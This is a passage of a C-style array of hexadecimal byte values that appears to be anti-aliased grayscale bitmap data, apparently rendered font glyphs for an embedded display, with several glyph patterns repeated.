0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x55, 0x55, 0x15, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0xFC, 0xAB,
0x4C, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF7, 0xC0, 0x7E, 0x39, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xCD, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x81, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x01, 0x4B, 0xAB, 0xF1,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04,
0x38, 0x79, 0xBD, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0E, 0x75, 0xFC, 0xFF, 0xFF, 0xC5, 0x09, 0xF6, 0xF8, 0xF8, 0x50, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0xFF, 0xFF, 0xF2, 0x00, 0xE1, 0xFF, 0xFF, 0xA5, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xDC, 0x00, 0xAC, 0xFF, 0xFF, 0xF3, 0x46, 0x00,
0x00, 0x00, 0x00, 0x00, 0x2C, 0xEA, 0xFF, 0xFF, 0xA1, 0x00, 0x36, 0xFD, 0xFF, 0xFF, 0xFE, 0xA6,
0x70, 0x54, 0x80, 0xBF, 0xF7, 0xFF, 0xFF, 0xFC, 0x3B, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x02, 0x74, 0xF8, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x4E, 0x8B,
0xA3, 0xAB, 0x92, 0x6F, 0x4C, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0B, 0x2F, 0x53, 0x5E, 0x3F, 0x1E, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x03, 0x6B, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xA9, 0x32, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xB8, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xED, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xF2, 0xF3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBD, 0x04, 0x00, 0x00, 0x00, 0x03, 0xC3,
0xFF, 0xFF, 0xFF, 0xD5, 0x50, 0x12, 0x00, 0x00, 0x1A, 0x42, 0xB3, 0xFF, 0xFF, 0xFF, 0xFF, 0x97,
0x00, 0x00, 0x00, 0x39, 0xFF, 0xFF, 0xFF, 0xC1, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0xFB, 0xFF, 0xFF, 0xFC, 0x08, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0xAE, 0xFF, 0xFF,
0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0xFF, 0xFF, 0xFF, 0x66,
0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xFA, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0xC1, 0xC4, 0xC4, 0x62, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x96, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF,
0xFF, 0xC5, 0x61, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0A, 0xCC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xD1, 0x90, 0x53, 0x19, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xDF, 0xA2, 0x52, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x7D, 0xE9,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x6F, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x37, 0x7E, 0xC0, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x34, 0x70,
0xB8, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x6F, 0xE6, 0xFF, 0xFF, 0xFF, 0xD1, 0x00, 0x1C, 0x43,
0x43, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xED, 0xFF,
0xFF, 0xFB, 0x09, 0x7C, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x38, 0x51, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x39, 0x26, 0xFF, 0xFF,
0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF,
0xFF, 0x0F, 0x03, 0xEF, 0xFF, 0xFF, 0xFD, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x30, 0xFB, 0xFF, 0xFF, 0xE4, 0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x07, 0x83, 0xFA, 0xFF, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0xA9, 0xFF,
0xFF, 0xFF, 0xFF, 0xFD, 0xD9, 0xAD, 0x96, 0xA7, 0xCF, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x0E,
0x00, 0x00, 0x00, 0x11, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xCB, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x53, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0D, 0x44, 0x72, 0xCF, 0xFF, 0xF4, 0xA4, 0x82, 0x61, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xD7, 0xFF, 0xBF, 0x49, 0x06, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF,
0xFF, 0xEE, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x39, 0x8F, 0x77, 0xD7, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0xD7, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xAB, 0x69, 0x63, 0xCF, 0xFF,
0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE3, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x12, 0x5C, 0x87, 0xA3, 0x90, 0x67, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x69, 0x8D, 0x9D, 0x78, 0x4C, 0x20, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xC8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xD6, 0x22, 0x00, 0x00, 0x10, 0xE5, 0xFF, 0xFF, 0xF7, 0x9B, 0x65, 0x66, 0x88, 0xDD, 0xFF, 0xFF,
0xFF, 0xB5, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x09, 0xAA, 0xFF,
0xFF, 0xFF, 0x23, 0x00, 0x80, 0xFF, 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF,
0xFF, 0xFF, 0x4D, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D,
0x55, 0x55, 0x15, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0xFC, 0xAB, 0x4C, 0x07, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0E, 0xD6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xC0, 0x7E, 0x39, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4,
0x81, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x01, 0x4B, 0xAB, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xC3, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x38, 0x79, 0xBD, 0xF9, 0xFF, 0xFF,
0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x75, 0xFC,
0xFF, 0xFF, 0xC5, 0x09, 0xF6, 0xF8, 0xF8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93,
0xFF, 0xFF, 0xF2, 0x00, 0xE1, 0xFF, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D,
0xFF, 0xFF, 0xDC, 0x00, 0xAC, 0xFF, 0xFF, 0xF3, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xEA,
0xFF, 0xFF, 0xA1, 0x00, 0x36, 0xFD, 0xFF, 0xFF, 0xFE, 0xA6, 0x70, 0x54, 0x80, 0xBF, 0xF7, 0xFF,
0xFF, 0xFC, 0x3B, 0x00, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x7F, 0x00, 0x00, 0x00, 0x02, 0x75, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6,
0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0x63, 0xA7, 0xFF, 0xFF, 0xA5, 0x7A, 0x53, 0x0E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xB9, 0xFF, 0xEC, 0x4E, 0x0D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x51, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x96, 0x72, 0xC6, 0xFF, 0xFF, 0xC0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0xFE, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xB6, 0x70, 0x5F, 0xB8, 0xFF, 0xFF, 0xCE, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x3A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x51, 0x81, 0xA1, 0x95, 0x72, 0x14, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x2B, 0x2B, 0x1D, 0x00, 0x00, 0x00, 0x0F,
0x2B, 0x2B, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFF,
0xF2, 0x22, 0x00, 0x02, 0xC3, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0xC5, 0x03, 0x79, 0xFF, 0xFF, 0xDD, 0x0D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xD9, 0xFF, 0xFF, 0xB0, 0xFA, 0xFF, 0xFC,
0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFB,
0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7C, 0xFF, 0xFF, 0xFF, 0xC8, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x05, 0x05, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x2F, 0x53,
0x5E, 0x3F, 0x1E, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
0x6B, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xA9, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3A, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xB8, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0xF3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBD, 0x04, 0x00, 0x00, 0x00, 0x03, 0xC3, 0xFF, 0xFF, 0xFF,
0xD5, 0x50, 0x12, 0x00, 0x00, 0x1A, 0x42, 0xB3, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00,
0x39, 0xFF, 0xFF, 0xFF, 0xC1, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFB, 0xFF,
0xFF, 0xFC, 0x08, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xE8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0xB6,
0xFF, 0xFF, 0xFA, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xC1, 0xC4,
0xC4, 0x62, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x96, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0xFF, 0xC5, 0x61,
0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xCC,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xD1, 0x90, 0x53, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x15, 0xD9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF,
0xA2, 0x52, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x7D, 0xE9, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x6F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x37, 0x7E, 0xC0, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x86, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x34, 0x70, 0xB8, 0xF7, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0B, 0x6D, 0xE5, 0xFF, 0xFF, 0xFF, 0xD1, 0x00, 0x1C, 0x43, 0x43, 0x42, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0xEC, 0xFF, 0xFF, 0xFB, 0x09,
0x7C, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8E, 0xFF, 0xFF, 0xFF, 0x38, 0x51, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x39, 0x26, 0xFF, 0xFF, 0xFF, 0xBF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0x0F, 0x03,
0xEF, 0xFF, 0xFF, 0xFD, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFB,
0xFF, 0xFF, 0xE4, 0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x0B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x07, 0x83, 0xFA, 0xFF, 0xFF, 0xFF, 0x8D, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF,
0xFD, 0xD9, 0xAD, 0x96, 0xA7, 0xCF, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x0E, 0x00, 0x00, 0x00,
0x10, 0xB0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCB,
0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xD1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFE, 0xB9, 0x50, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x32, 0x57,
0x7C, 0xA0, 0xA8, 0x97, 0x79, 0x5B, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0x54, 0x54, 0x3A, 0x00, 0x00, 0x00, 0x26, 0x54, 0x54, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3B, 0xFC, 0xFF, 0xF9, 0x2E, 0x00, 0x0D, 0xDE, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xD3, 0x08, 0xA0, 0xFF, 0xFF, 0xC1, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0xCC, 0xFF, 0xFF, 0xD2, 0xFF, 0xFF, 0xF0, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x27, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x65, 0xDC, 0xDC, 0xDC, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x3F, 0x69, 0x8D, 0x9D, 0x78, 0x4C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3B, 0xC8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x3D,
0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD6, 0x22, 0x00, 0x00, 0x10, 0xE5,
0xFF, 0xFF, 0xF7, 0x9B, 0x65, 0x66, 0x88, 0xDD, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x4D, 0xFF,
0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x09, 0xAA, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x80, 0xFF,
0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0x4D, 0x00, 0x8E, 0xFF,
0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x55, 0x55, 0x15, 0x00, 0x53, 0xFF,
0xFF, 0xFF, 0xFC, 0xAB, 0x4C, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xD6,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xC0, 0x7E, 0x39, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17,
0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x81, 0x0D, 0x00, 0x00, 0x00, 0x00,
0x01, 0x4B, 0xAB, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3, 0x08, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x38, 0x79, 0xBD, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x75, 0xFC, 0xFF, 0xFF, 0xC5, 0x09, 0xF6, 0xF8,
0xF8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0xFF, 0xFF, 0xF2, 0x00, 0xE1, 0xFF,
0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xDC, 0x00, 0xAC, 0xFF,
0xFF, 0xF3, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xEA, 0xFF, 0xFF, 0xA1, 0x00, 0x36, 0xFD,
0xFF, 0xFF, 0xFE, 0xA6, 0x70, 0x54, 0x80, 0xBF, 0xF7, 0xFF, 0xFF, 0xFC, 0x3B, 0x00, 0x00, 0x91,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x02,
0x74, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x55, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x11, 0x4E, 0x8B, 0xA3, 0xAB, 0x92, 0x6F, 0x4C, 0x08, 0x00, 0x00, 0x00, 0x7D, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0x66, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x51, 0x84, 0x84, 0x84,
0x84, 0x84, 0x84, 0x84, 0xBE, 0xFF, 0xFF, 0xFF, 0xB0, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84,
0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF,
0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF,
0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF,
